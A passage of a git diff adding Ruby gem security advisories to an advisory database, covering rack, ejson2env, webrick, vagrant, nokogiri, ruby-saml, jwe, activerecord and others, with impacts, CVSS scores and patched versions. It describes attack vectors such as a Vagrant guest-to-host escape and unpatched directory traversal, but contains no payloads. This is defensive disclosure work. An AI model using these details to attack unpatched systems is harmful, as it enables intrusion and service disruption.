+    thousands (or more) of parameters, which consumes excessive memory
+    and CPU during parsing.
+
+    ## Impact
+
+    An attacker can trigger denial of service by sending specifically
+    crafted HTTP requests, which can cause memory exhaustion or pin CPU
+    resources, stalling or crashing the Rack server. This results in
+    full service disruption until the affected worker is restarted.
+
+    ## Mitigation
+
+    - Update to a version of Rack that limits the number of parameters parsed, or
+    - Use middleware to enforce a maximum query string size or parameter count, or
+    - Employ a reverse proxy (such as Nginx) to limit request sizes and
+      reject oversized query strings or bodies.
+
+    Limiting request body sizes and query string lengths at the web
+    server or CDN level is an effective mitigation.
+  cvss_v3: 7.5
+  patched_versions:
+  - "~> 2.2.14"
+  - "~> 3.0.16"
+  - ">= 3.1.14"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-46727
+    - https://github.com/rack/rack/security/advisories/GHSA-gjh7-p2fx-99vx
+    - https://github.com/rack/rack/commit/2bb5263b464b65ba4b648996a579dbd180d2b712
+    - https://github.com/rack/rack/commit/3f5a4249118d09d199fe480466c8c6717e43b6e3
+    - https://github.com/rack/rack/commit/cd6b70a1f2a1016b73dc906f924869f4902c2d74
+    - https://github.com/advisories/GHSA-gjh7-p2fx-99vx
+---
diff --git a/advisories/_posts/2025-05-21-CVE-2025-48069.md b/advisories/_posts/2025-05-21-CVE-2025-48069.md
new file mode 100644
index 00000000..d7602dd7
--- /dev/null
+++ b/advisories/_posts/2025-05-21-CVE-2025-48069.md
@@ -0,0 +1,55 @@
+---
+layout: advisory
+title: 'CVE-2025-48069 (ejson2env): Insufficient input sanitization in ejson2env'
+comments: false
+categories:
+- ejson2env
+advisory:
+  gem: ejson2env
+  cve: 2025-48069
+  ghsa: 2c47-m757-32g6
+  url: https://github.com/Shopify/ejson2env/security/advisories/GHSA-2c47-m757-32g6
+  title: Insufficient input sanitization in ejson2env
+  date: 2025-05-21
+  description: |
+    ### Summary
+    The `ejson2env` tool has a vulnerability related to how it writes to
+    `stdout`. Specifically, the tool is intended to write an export
+    statement for environment variables and their values. However, due
+    to inadequate output sanitization, there is a potential risk where
+    variable names or values may include malicious content, resulting
+    in additional unintended commands being output to `stdout`. If this
+    output is improperly utilized in further command execution, it could
+    lead to command injection vulnerabilities, allowing an attacker to
+    execute arbitrary commands on the host system.
+
+    ### Details
+    The vulnerability exists because environment variables are not
+    properly sanitized during the decryption phase, which enables
+    malicious keys or encrypted values to inject commands.
+
+    ### Impact
+    An attacker with control over `.ejson` files can inject commands
+    in the environment where `source $(ejson2env)` or `eval ejson2env`
+    are executed.
+
+    ### Mitigation
+    - Update to a version of `ejson2env` that sanitizes the output
+      during decryption or
+    - Do not use `ejson2env` to decrypt untrusted user secrets or
+    - Do not evaluate or execute the direct output from `ejson2env`
+      without removing nonprintable characters.
+
+    ### Credit
+    Thanks to security researcher [Demonia](https://hackerone.com/demonia?type=user)
+    for reporting this issue.
+  cvss_v3: 6.6
+  patched_versions:
+  - ">= 2.0.8"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-48069
+    - https://github.com/Shopify/ejson2env/security/advisories/GHSA-2c47-m757-32g6
+    - https://github.com/Shopify/ejson2env/commit/592b3ceea967fee8b064e70983e8cec087b6d840
+    - https://github.com/advisories/GHSA-2c47-m757-32g6
+---
diff --git a/advisories/_posts/2025-06-05-CVE-2025-49007.md b/advisories/_posts/2025-06-05-CVE-2025-49007.md
new file mode 100644
index 00000000..8b3d098d
--- /dev/null
+++ b/advisories/_posts/2025-06-05-CVE-2025-49007.md
@@ -0,0 +1,46 @@
+---
+layout: advisory
+title: 'CVE-2025-49007 (rack): ReDoS Vulnerability in Rack::Multipart handle_mime_head'
+comments: false
+categories:
+- rack
+advisory:
+  gem: rack
+  cve: 2025-49007
+  ghsa: 47m2-26rw-j2jw
+  url: https://github.com/rack/rack/security/advisories/GHSA-47m2-26rw-j2jw
+  title: ReDoS Vulnerability in Rack::Multipart handle_mime_head
+  date: 2025-06-05
+  description: |
+    ### Summary
+
+    There is a denial of service vulnerability in the
+    Content-Disposition parsing component of Rack. This is very
+    similar to the previous security issue CVE-2022-44571.
+
+    ### Details
+
+    Carefully crafted input can cause Content-Disposition header
+    parsing in Rack to take an unexpected amount of time, possibly
+    resulting in a denial of service attack vector. This header is
+    used typically used in multipart parsing. Any applications that
+    parse multipart posts using Rack (virtually all Rails applications)
+    are impacted.
+
+    ### Credits
+
+    Thanks to [scyoon](https://hackerone.com/scyoon) for reporting
+    this to the Rails security team
+  cvss_v4: 6.6
+  unaffected_versions:
+  - "< 3.1.0"
+  patched_versions:
+  - ">= 3.1.16"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-49007
+    - https://github.com/rack/rack/security/advisories/GHSA-47m2-26rw-j2jw
+    - https://github.com/rack/rack/commit/4795831a0a310c2d31102749e551b38faab6401f
+    - https://github.com/rack/rack/commit/aed514df37e33907df3c971ed3ca9a0a20ac2901
+    - https://github.com/advisories/GHSA-47m2-26rw-j2jw
+---
diff --git a/advisories/_posts/2025-06-13-CVE-2025-28382.md b/advisories/_posts/2025-06-13-CVE-2025-28382.md
new file mode 100644
index 00000000..8787c3d1
--- /dev/null
+++ b/advisories/_posts/2025-06-13-CVE-2025-28382.md
@@ -0,0 +1,28 @@
+---
+layout: advisory
+title: 'CVE-2025-28382 (openc3-cosmos-tool-iframe): OpenC3 COSMOS Vulnerable to Directory
+  Traversal via openc3-api/tables endpoint'
+comments: false
+categories:
+- openc3-cosmos-tool-iframe
+advisory:
+  gem: openc3-cosmos-tool-iframe
+  cve: 2025-28382
+  ghsa: cf8v-5mrc-jv7f
+  url: https://github.com/advisories/GHSA-cf8v-5mrc-jv7f
+  title: OpenC3 COSMOS Vulnerable to Directory Traversal via openc3-api/tables endpoint
+  date: 2025-06-13
+  description: |
+    An issue in the openc3-api/tables endpoint of OpenC3 COSMOS
+    6.0.0 allows attackers to execute a directory traversal.
+  cvss_v3: 7.5
+  unaffected_versions:
+  - "< 6.0.0"
+  notes: Never patched
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-28382
+    - https://visionspace.com/openc3-cosmos-a-security-assessment-of-an-open-source-mission-framework
+    - https://openc3.com
+    - https://github.com/advisories/GHSA-cf8v-5mrc-jv7f
+---
diff --git a/advisories/_posts/2025-06-13-CVE-2025-28384.md b/advisories/_posts/2025-06-13-CVE-2025-28384.md
new file mode 100644
index 00000000..64d2af4d
--- /dev/null
+++ b/advisories/_posts/2025-06-13-CVE-2025-28384.md
@@ -0,0 +1,29 @@
+---
+layout: advisory
+title: 'CVE-2025-28384 (openc3-cosmos-tool-iframe): OpenC3 COSMOS Vulnerable to Directory
+  Traversal via /script-api/scripts/ endpoint'
+comments: false
+categories:
+- openc3-cosmos-tool-iframe
+advisory:
+  gem: openc3-cosmos-tool-iframe
+  cve: 2025-28384
+  ghsa: p67j-387g-75wc
+  url: https://github.com/advisories/GHSA-p67j-387g-75wc
+  title: OpenC3 COSMOS Vulnerable to Directory Traversal via /script-api/scripts/
+    endpoint
+  date: 2025-06-13
+  description: |
+    An issue in the /script-api/scripts/ endpoint of OpenC3 COSMOS
+    6.0.0 allows attackers to execute a directory traversal.
+  cvss_v3: 9.1
+  unaffected_versions:
+  - "< 6.0.0"
+  notes: Never patched
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-28384
+    - https://visionspace.com/openc3-cosmos-a-security-assessment-of-an-open-source-mission-framework
+    - https://openc3.com
+    - https://github.com/advisories/GHSA-p67j-387g-75wc
+---
diff --git a/advisories/_posts/2025-06-26-CVE-2025-6442.md b/advisories/_posts/2025-06-26-CVE-2025-6442.md
new file mode 100644
index 00000000..d8f08ae5
--- /dev/null
+++ b/advisories/_posts/2025-06-26-CVE-2025-6442.md
@@ -0,0 +1,36 @@
+---
+layout: advisory
+title: 'CVE-2025-6442 (webrick): Ruby WEBrick read_headers method can lead to HTTP
+  Request/Response Smuggling'
+comments: false
+categories:
+- webrick
+advisory:
+  gem: webrick
+  cve: 2025-6442
+  ghsa: r995-q44h-hr64
+  url: https://github.com/advisories/GHSA-r995-q44h-hr64
+  title: Ruby WEBrick read_headers method can lead to HTTP Request/Response Smuggling
+  date: 2025-06-26
+  description: |
+    Ruby WEBrick read_header HTTP Request Smuggling Vulnerability
+
+    This vulnerability allows remote attackers to smuggle arbitrary HTTP
+    requests on affected installations of Ruby WEBrick. This issue is
+    exploitable when the product is deployed behind an HTTP proxy that
+    fulfills specific conditions.
+
+    The specific flaw exists within the read_headers method. The issue
+    results from the inconsistent parsing of terminators of HTTP headers.
+    An attacker can leverage this vulnerability to smuggle arbitrary
+    HTTP requests. Was ZDI-CAN-21876.
+  cvss_v3: 6.5
+  patched_versions:
+  - ">= 1.8.2"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-6442
+    - https://github.com/ruby/webrick/commit/ee60354bcb84ec33b9245e1d1aa6e1f7e8132101#diff-ad02984d873efb089aa51551bc6b7d307a53e0ba1ac439e91d69c2e58a478864
+    - https://www.zerodayinitiative.com/advisories/ZDI-25-414
+    - https://github.com/advisories/GHSA-r995-q44h-hr64
+---
diff --git a/advisories/_posts/2025-07-02-CVE-2025-34075.md b/advisories/_posts/2025-07-02-CVE-2025-34075.md
new file mode 100644
index 00000000..fb25d8c2
--- /dev/null
+++ b/advisories/_posts/2025-07-02-CVE-2025-34075.md
@@ -0,0 +1,49 @@
+---
+layout: advisory
+title: 'CVE-2025-34075 (vagrant): HashiCorp Vagrant has code injection vulnerability
+  through default synced folders'
+comments: false
+categories:
+- vagrant
+advisory:
+  gem: vagrant
+  cve: 2025-34075
+  ghsa: hqp6-mjw3-f586
+  url: https://github.com/advisories/GHSA-hqp6-mjw3-f586
+  title: HashiCorp Vagrant has code injection vulnerability through default synced
+    folders
+  date: 2025-07-02
+  description: |
+    An authenticated virtual machine escape vulnerability exists in
+    HashiCorp Vagrant versions 2.4.6 and below when using the default
+    synced folder configuration. By design, Vagrant automatically mounts
+    the host system’s project directory into the guest VM under /vagrant
+    (or C:\vagrant on Windows). This includes the Vagrantfile configuration
+    file, which is a Ruby script evaluated by the host every time a vagrant
+    command is executed in the project directory. If a low-privileged
+    attacker obtains shell access to the guest VM, they can append
+    arbitrary Ruby code to the mounted Vagrantfile. When a user on the
+    host later runs any vagrant command, the injected code is executed
+    on the host with that user’s privileges.
+
+    While this shared-folder behavior is well-documented by Vagrant, the
+    security implications of Vagrantfile execution from guest-writable
+    storage are not explicitly addressed. This effectively enables
+    guest-to-host code execution in multi-tenant or adversarial VM scenarios.
+  cvss_v4: 5.4
+  unaffected_versions:
+  - "< 2.2.10"
+  patched_versions:
+  - ">= 2.4.7"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-34075
+    - https://developer.hashicorp.com/vagrant
+    - https://developer.hashicorp.com/vagrant/docs/synced-folders/basic_usage
+    - https://developer.hashicorp.com/vagrant/docs/vagrantfile
+    - https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/multi/local/vagrant_synced_folder_vagrantfile_breakout.rb
+    - https://vulncheck.com/advisories/hashicorp-vagrant-synced-folder-vagrantfile-breakout
+    - https://github.com/hashicorp/vagrant/issues/13688
+    - https://github.com/hashicorp/vagrant/commit/abe87b2fdc124ef426c016d44d2f6f4792f0cbe3
+    - https://github.com/advisories/GHSA-hqp6-mjw3-f586
+---
diff --git a/advisories/_posts/2025-07-09-CVE-2025-24294.md b/advisories/_posts/2025-07-09-CVE-2025-24294.md
new file mode 100644
index 00000000..5309eccd
--- /dev/null
+++ b/advisories/_posts/2025-07-09-CVE-2025-24294.md
@@ -0,0 +1,58 @@
+---
+layout: advisory
+title: 'CVE-2025-24294 (resolv): Possible Denial of Service in resolv gem'
+comments: false
+categories:
+- resolv
+advisory:
+  gem: resolv
+  cve: 2025-24294
+  ghsa: xh69-987w-hrp8
+  url: https://www.ruby-lang.org/en/news/2025/07/08/dos-resolv-cve-2025-24294
+  title: Possible Denial of Service in resolv gem
+  date: 2025-07-09
+  description: |
+    A denial of service vulnerability has been discovered in the
+    resolv gem bundled with Ruby.
+    This vulnerability has been assigned the CVE identifier
+    CVE-2025-24294. We recommend upgrading the resolv gem.
+
+    ## Details
+    The vulnerability is caused by an insufficient check on the
+    length of a decompressed domain name within a DNS packet.
+
+    An attacker can craft a malicious DNS packet containing a highly
+    compressed domain name. When the resolv library parses such a
+    packet, the name decompression process consumes a large amount
+    of CPU resources, as the library does not limit the resulting
+    length of the name.
+
+    This resource consumption can cause the application thread to
+    become unresponsive, resulting in a Denial of Service condition.
+
+    ## Affected Version
+    The vulnerability affects the resolv gem bundled with the
+    following Ruby series:
+    * Ruby 3.2 series: resolv version 0.2.2 and earlier
+    * Ruby 3.3 series: resolv version 0.3.0
+    * Ruby 3.4 series: resolv version 0.6.1 and earlier
+
+    ## Credits
+    Thanks to Manu for discovering this issue.
+
+    ## History
+    Originally published at 2025-07-08 07:00:00 (UTC)
+  cvss_v3: 7.5
+  patched_versions:
+  - "~> 0.2.2"
+  - "~> 0.3.0"
+  - ">= 0.6.1"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-24294
+    - https://www.ruby-lang.org/en/news/2025/07/08/dos-resolv-cve-2025-24294
+    - https://rubygems.org/gems/resolv
+    - https://www.cve.org/CVERecord?id=CVE-2025-24294
+    - https://www.vuxml.org/freebsd/eed1a411-699b-11f0-91fe-000c295725e4.html
+    - https://github.com/advisories/GHSA-xh69-987w-hrp8
+---
diff --git a/advisories/_posts/2025-07-14-CVE-2025-53623.md b/advisories/_posts/2025-07-14-CVE-2025-53623.md
new file mode 100644
index 00000000..14ed3ad9
--- /dev/null
+++ b/advisories/_posts/2025-07-14-CVE-2025-53623.md
@@ -0,0 +1,48 @@
+---
+layout: advisory
+title: 'CVE-2025-53623 (job-iteration): Job Iteration API is vulnerable to OS Command
+  Injection attack through its CsvEnumerator class'
+comments: false
+categories:
+- job-iteration
+advisory:
+  gem: job-iteration
+  cve: 2025-53623
+  ghsa: 6qjf-g333-pv38
+  url: https://github.com/Shopify/job-iteration/security/advisories/GHSA-6qjf-g333-pv38
+  title: Job Iteration API is vulnerable to OS Command Injection attack through its
+    CsvEnumerator class
+  date: 2025-07-14
+  description: |
+    ### Impact
+
+    There is an arbitrary code execution vulnerability in the
+    `CsvEnumerator` class of the `job-iteration` repository. This
+    vulnerability can be exploited by an attacker to execute arbitrary
+    commands on the system where the application is running, potentially
+    leading to unauthorized access, data leakage, or complete system
+    compromise.
+
+    ### Patches
+
+    Issue is fixed in versions `1.11.0` and above.
+
+    ### Workarounds
+
+    Users can mitigate the risk by avoiding the use of untrusted input
+    in the `CsvEnumerator` class and ensuring that any file paths are
+    properly sanitized and validated before being passed to the class
+    methods. Users should avoid calling `size` on enumerators
+    constructed with untrusted CSV filenames.
+  cvss_v4: 8.1
+  patched_versions:
+  - ">= 1.11"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-53623
+    - https://github.com/Shopify/job-iteration/security/advisories/GHSA-6qjf-g333-pv38
+    - https://github.com/Shopify/job-iteration/pull/595
+    - https://github.com/Shopify/job-iteration/commit/1a7adfdd041105a5e45e774cadc6b973a292ba55
+    - https://github.com/Shopify/job-iteration/releases/tag/v1.11.0
+    - https://github.com/advisories/GHSA-6qjf-g333-pv38
+---
diff --git a/advisories/_posts/2025-07-15-GHSA-29g5-m8v7-v564.md b/advisories/_posts/2025-07-15-GHSA-29g5-m8v7-v564.md
new file mode 100644
index 00000000..2c03100f
--- /dev/null
+++ b/advisories/_posts/2025-07-15-GHSA-29g5-m8v7-v564.md
@@ -0,0 +1,32 @@
+---
+layout: advisory
+title: 'GHSA-29g5-m8v7-v564 (measured): Measured is vulnerable to Path Traversal attacks
+  during class initialization'
+comments: false
+categories:
+- measured
+advisory:
+  gem: measured
+  ghsa: 29g5-m8v7-v564
+  url: https://github.com/Shopify/measured/security/advisories/GHSA-29g5-m8v7-v564
+  title: Measured is vulnerable to Path Traversal attacks during class initialization
+  date: 2025-07-15
+  description: |
+    ### Impact
+
+    A path traversal vulnerability exists where an attacker
+    with access to manipulate inputs when initializing the
+    `Measured::Cache::Json class` would be able to instruct
+    the library to read arbitrary files.
+
+    ### Patches
+
+    Users should update to the latest version.
+  patched_versions:
+  - ">= 3.2.1"
+  related:
+    url:
+    - https://github.com/Shopify/measured/security/advisories/GHSA-29g5-m8v7-v564
+    - https://github.com/Shopify/measured/commit/d6319985a2304d97c085e3dc45c98af554f4be76
+    - https://github.com/advisories/GHSA-29g5-m8v7-v564
+---
diff --git a/advisories/_posts/2025-07-20-CVE-2025-54314.md b/advisories/_posts/2025-07-20-CVE-2025-54314.md
new file mode 100644
index 00000000..61bbb1b7
--- /dev/null
+++ b/advisories/_posts/2025-07-20-CVE-2025-54314.md
@@ -0,0 +1,29 @@
+---
+layout: advisory
+title: 'CVE-2025-54314 (thor): Thor can construct an unsafe shell command from library
+  input.'
+comments: false
+categories:
+- thor
+advisory:
+  gem: thor
+  cve: 2025-54314
+  ghsa: mqcp-p2hv-vw6x
+  url: https://github.com/advisories/GHSA-mqcp-p2hv-vw6x
+  title: Thor can construct an unsafe shell command from library input.
+  date: 2025-07-20
+  description: |
+    Thor before 1.4.0 can construct an unsafe shell command
+    from library input.
+  cvss_v3: 2.8
+  patched_versions:
+  - ">= 1.4.0"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-54314
+    - https://github.com/rails/thor/releases/tag/v1.4.0
+    - https://github.com/rails/thor/pull/897
+    - https://github.com/rails/thor/commit/536b79036a0efb765c1899233412e7b1ca94abfa
+    - https://hackerone.com/reports/3260153
+    - https://github.com/advisories/GHSA-mqcp-p2hv-vw6x
+---
diff --git a/advisories/_posts/2025-07-21-GHSA-353f-x4gh-cqq8.md b/advisories/_posts/2025-07-21-GHSA-353f-x4gh-cqq8.md
new file mode 100644
index 00000000..02839645
--- /dev/null
+++ b/advisories/_posts/2025-07-21-GHSA-353f-x4gh-cqq8.md
@@ -0,0 +1,114 @@
+---
+layout: advisory
+title: 'GHSA-353f-x4gh-cqq8 (nokogiri): Nokogiri patches vendored libxml2 to resolve
+  multiple CVEs'
+comments: false
+categories:
+- nokogiri
+advisory:
+  gem: nokogiri
+  ghsa: 353f-x4gh-cqq8
+  url: https://github.com/sparklemotion/nokogiri/security/advisories/GHSA-353f-x4gh-cqq8
+  title: Nokogiri patches vendored libxml2 to resolve multiple CVEs
+  date: 2025-07-21
+  description: |
+    ## Summary
+
+    Nokogiri v1.18.9 patches the vendored libxml2 to address
+    CVE-2025-6021, CVE-2025-6170, CVE-2025-49794, CVE-2025-49795,
+    and CVE-2025-49796.
+
+    ## Impact and severity
+
+    ### CVE-2025-6021
+
+    A flaw was found in libxml2's xmlBuildQName function, where integer
+    overflows in buffer size calculations can lead to a stack-based
+    buffer overflow. This issue can result in memory corruption or a
+    denial of service when processing crafted input.
+
+    NVD claims a severity of 7.5 High
+    (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
+
+    Fixed by applying https://gitlab.gnome.org/GNOME/libxml2/-/commit/17d950ae
+
+    ### CVE-2025-6170
+
+    A flaw was found in the interactive shell of the xmllint command-line
+    tool, used for parsing XML files. When a user inputs an overly long
+    command, the program does not check the input size properly, which
+    can cause it to crash. This issue might allow attackers to run
+    harmful code in rare configurations without modern protections.
+
+    NVD claims a severity of 2.5 Low
+    (CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:L)
+
+    Fixed by applying https://gitlab.gnome.org/GNOME/libxml2/-/commit/5e9ec5c1
+
+    ### CVE-2025-49794
+
+    A use-after-free vulnerability was found in libxml2. This issue
+    occurs when parsing XPath elements under certain circumstances when
+    the XML schematron has the <sch:name path="..."/> schema elements.
+    This flaw allows a malicious actor to craft a malicious XML document
+    used as input for libxml, resulting in the program's crash using
+    libxml or other possible undefined behaviors.
+
+    NVD claims a severity of 9.1 Critical
+    (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H)
+
+    Fixed by applying https://gitlab.gnome.org/GNOME/libxml2/-/commit/81cef8c5
+
+    ### CVE-2025-49795
+
+    A NULL pointer dereference vulnerability was found in libxml2 when
+    processing XPath XML expressions. This flaw allows an attacker to
+    craft a malicious XML input to libxml2, leading to a denial of service.
+
+    NVD claims a severity of 7.5 High
+    (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
+
+    Fixed by applying https://gitlab.gnome.org/GNOME/libxml2/-/commit/62048278
+
+    ### CVE-2025-49796
+
+    A vulnerability was found in libxml2. Processing certain sch:name
+    elements from the input XML file can trigger a memory corruption
+    issue. This flaw allows an attacker to craft a malicious XML input
+    file that can lead libxml to crash, resulting in a denial of service
+    or other possible undefined behavior due to sensitive data being
+    corrupted in memory.
+
+    NVD claims a severity of 9.1 Critical
+    (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H)
+
+    Fixed by applying https://gitlab.gnome.org/GNOME/libxml2/-/commit/81cef8c5
+
+    ## Affected Versions
+
+    - Nokogiri < 1.18.9 when using CRuby (MRI) with vendored libxml2
+
+    ## Patched Versions
+
+    - Nokogiri >= 1.18.9
+
+    ## Mitigation
+
+    Upgrade to Nokogiri v1.18.9 or later.
+
+    Users who are unable to upgrade Nokogiri may also choose a more
+    complicated mitigation: compile and link Nokogiri against patched
+    external libxml2 libraries which will also address these same issues.
+  patched_versions:
+  - ">= 1.18.9"
+  related:
+    url:
+    - https://github.com/sparklemotion/nokogiri/security/advisories/GHSA-353f-x4gh-cqq8
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-49794
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-49795
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-49796
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-6021
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-6170
+    - https://github.com/sparklemotion/nokogiri/pull/3526
+    - https://github.com/advisories/GHSA-353f-x4gh-cqq8
+---
diff --git a/advisories/_posts/2025-07-30-CVE-2025-54572.md b/advisories/_posts/2025-07-30-CVE-2025-54572.md
new file mode 100644
index 00000000..99a559b8
--- /dev/null
+++ b/advisories/_posts/2025-07-30-CVE-2025-54572.md
@@ -0,0 +1,96 @@
+---
+layout: advisory
+title: 'CVE-2025-54572 (ruby-saml): Ruby SAML DOS vulnerability with large SAML response'
+comments: false
+categories:
+- ruby-saml
+advisory:
+  gem: ruby-saml
+  cve: 2025-54572
+  ghsa: rrqh-93c8-j966
+  url: https://github.com/SAML-Toolkits/ruby-saml/security/advisories/GHSA-rrqh-93c8-j966
+  title: Ruby SAML DOS vulnerability with large SAML response
+  date: 2025-07-30
+  description: |
+    ### Summary
+
+    A denial-of-service vulnerability exists in ruby-saml even with the
+    message_max_bytesize setting configured. The vulnerability occurs
+    because the SAML response is validated for Base64 format prior to
+    checking the message size,  leading to potential resource exhaustion.
+
+    ### Details
+
+    `ruby-saml` includes a `message_max_bytesize` setting intended to
+    prevent DOS attacks and decompression bombs. However, this protection
+    is ineffective in some cases due to the order of operations in the code:
+
+    https://github.com/SAML-Toolkits/ruby-saml/blob/fbbedc978300deb9355a8e505849666974ef2e67/lib/onelogin/ruby-saml/saml_message.rb
+
+    ```ruby
+         def decode_raw_saml(saml, settings = nil)
+            return saml unless base64_encoded?(saml)
+    # <--- Issue here. Should be moved after next code block.
+
+            settings =  OneLogin::RubySaml::Settings.new if settings.nil?
+            if saml.bytesize > settings.message_max_bytesize
+               raise ValidationError.new(\"Encoded SAML Message exceeds \" +
+               settings.message_max_bytesize.to_s +
+               \" bytes, so was rejected\")
+            end
+            decoded = decode(saml)
+          ...
+          end
+    ```
+
+    The vulnerability is in the execution order. Prior to checking
+    bytesize the `base64_encoded?` function performs regex matching
+    on the entire input string:
+
+    ```ruby
+    !!string.gsub(/[\\r\]|\\\\r|\\\|\\s/, \"\").match(BASE64_FORMAT)
+    ```
+
+    ### Impact
+
+    _What kind of vulnerability is it? Who is impacted?_
+
+    When successfully  exploited, this vulnerability can lead to:
+    - Excessive memory consumption
+    - High CPU utilization
+    - Application slowdown or unresponsiveness
+    - Complete application crash in severe cases
+    - Potential denial of service for legitimate users
+
+    All applications using `ruby-saml` with SAML configured and
+    enabled are vulnerable.
+
+    ###   Potential Solution
+
+    Reorder the validation steps to ensure max bytesize is checked first
+
+    ```ruby
+    def decode_raw_saml(saml, settings = nil)
+      settings = OneLogin::RubySaml::Settings.new
+    if settings.nil?
+      if saml.bytesize > settings.message_max_bytesize
+        raise  ValidationError.new(\"Encoded SAML Message exceeds \" +
+        settings.message_max_bytesize.to_s  + \" bytes, so was rejected\")
+      end
+      return saml unless base64_encoded?(saml)
+      decoded = decode(saml)
+      ...
+    end
+    ```
+  cvss_v4: 6.9
+  patched_versions:
+  - ">= 1.18.1"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-54572
+    - https://github.com/SAML-Toolkits/ruby-saml/security/advisories/GHSA-rrqh-93c8-j966
+    - https://github.com/SAML-Toolkits/ruby-saml/releases/tag/v1.18.1
+    - https://github.com/SAML-Toolkits/ruby-saml/pull/770
+    - https://github.com/SAML-Toolkits/ruby-saml/commit/38ef5dd1ce17514e202431f569c4f5633e6c2709
+    - https://github.com/advisories/GHSA-rrqh-93c8-j966
+---
diff --git a/advisories/_posts/2025-08-07-CVE-2025-54887.md b/advisories/_posts/2025-08-07-CVE-2025-54887.md
new file mode 100644
index 00000000..a3e43213
--- /dev/null
+++ b/advisories/_posts/2025-08-07-CVE-2025-54887.md
@@ -0,0 +1,54 @@
+---
+layout: advisory
+title: 'CVE-2025-54887 (jwe): JWE is missing AES-GCM authentication tag validation
+  in encrypted JWE'
+comments: false
+categories:
+- jwe
+advisory:
+  gem: jwe
+  cve: 2025-54887
+  ghsa: c7p4-hx26-pr73
+  url: https://github.com/jwt/ruby-jwe/security/advisories/GHSA-c7p4-hx26-pr73
+  title: JWE is missing AES-GCM authentication tag validation in encrypted JWE
+  date: 2025-08-07
+  description: |
+    ### Overview
+
+    The authentication tag of encrypted JWEs can be brute forced,
+    which may result in loss of confidentiality for those JWEs and
+    provide ways to craft arbitrary JWEs.
+
+    ### Impact
+
+    - JWEs can be modified to decrypt to an arbitrary value
+    - JWEs can be decrypted by observing parsing differences
+    - The GCM internal
+      [GHASH key](https://en.wikipedia.org/wiki/Galois/Counter_Mode)
+      can be recovered
+
+    ### Am I Affected?
+
+    You are affected by this vulnerability even if you do not
+    use an `AES-GCM` encryption algorithm for your JWEs.
+
+    ### Patches
+
+    The version 1.1.1 fixes the issue by adding the tag length check for the `AES-GCM` algorithm.
+
+    **Important:** As the [GHASH key](https://en.wikipedia.org/wiki/Galois/Counter_Mode)
+    could have leaked, you must rotate the encryption keys after
+    upgrading to version 1.1.1.
+
+    ### References
+
+    [Félix Charette talk at NorthSec 2025 about the issue](https://www.youtube.com/watch?v=9IT659uUXfs&t=15830s)
+  cvss_v3: 9.1
+  patched_versions:
+  - ">= 1.1.1"
+  related:
+    url:
+    - https://github.com/jwt/ruby-jwe/security/advisories/GHSA-c7p4-hx26-pr73
+    - https://github.com/jwt/ruby-jwe/releases/tag/v1.1.1
+    - https://github.com/advisories/GHSA-c7p4-hx26-pr73
+---
diff --git a/advisories/_posts/2025-08-13-CVE-2025-55193.md b/advisories/_posts/2025-08-13-CVE-2025-55193.md
new file mode 100644
index 00000000..58f954bb
--- /dev/null
+++ b/advisories/_posts/2025-08-13-CVE-2025-55193.md
@@ -0,0 +1,46 @@
+---
+layout: advisory
+title: 'CVE-2025-55193 (activerecord): Active Record logging vulnerable to ANSI escape
+  injection'
+comments: false
+categories:
+- activerecord
+- rails
+advisory:
+  gem: activerecord
+  framework: rails
+  cve: 2025-55193
+  ghsa: 76r7-hhxj-r776
+  url: https://github.com/rails/rails/security/advisories/GHSA-76r7-hhxj-r776
+  title: Active Record logging vulnerable to ANSI escape injection
+  date: 2025-08-13
+  description: |
+    This vulnerability has been assigned the CVE identifier CVE-2025-55193
+
+    ### Impact
+
+    The ID passed to `find` or similar methods may be logged without
+    escaping. If this is directly to the terminal, it may include
+    unescaped ANSI sequences.
+
+    ### Releases
+
+    The fixed releases are available at the normal locations.
+
+    ### Credits
+
+    Thanks to [lio346](https://hackerone.com/lio346) for reporting
+    this vulnerability.
+  patched_versions:
+  - "~> 7.1.5.2"
+  - "~> 7.2.2.2"
+  - ">= 8.0.2.1"
+  related:
+    url:
+    - https://github.com/rails/rails/security/advisories/GHSA-76r7-hhxj-r776
+    - https://github.com/rails/rails/commit/3beef20013736fd52c5dcfdf061f7999ba318290
+    - https://github.com/rails/rails/commit/568c0bc2f1e74c65d150a84b89a080949bf9eb9b
+    - https://github.com/rails/rails/commit/6a944ca4805e72050a0fbb1a461534eb760d3202
+    - https://cert.kenet.or.ke/cve-2025-55193-ruby-rails-ansi-sequence-injection-vulnerability
+    - https://github.com/advisories/GHSA-76r7-hhxj-r776
+---
diff --git a/advisories/_posts/2025-08-14-CVE-2025-24293.md b/advisories/_posts/2025-08-14-CVE-2025-24293.md
new file mode 100644
index 00000000..db16143e
--- /dev/null
+++ b/advisories/_posts/2025-08-14-CVE-2025-24293.md
@@ -0,0 +1,77 @@
+---
+layout: advisory
+title: 'CVE-2025-24293 (activestorage): Active Storage allowed transformation methods
+  that were potentially unsafe'
+comments: false
+categories:
+- activestorage
+advisory:
+  gem: activestorage
+  cve: 2025-24293
+  ghsa: r4mg-4433-c7g3
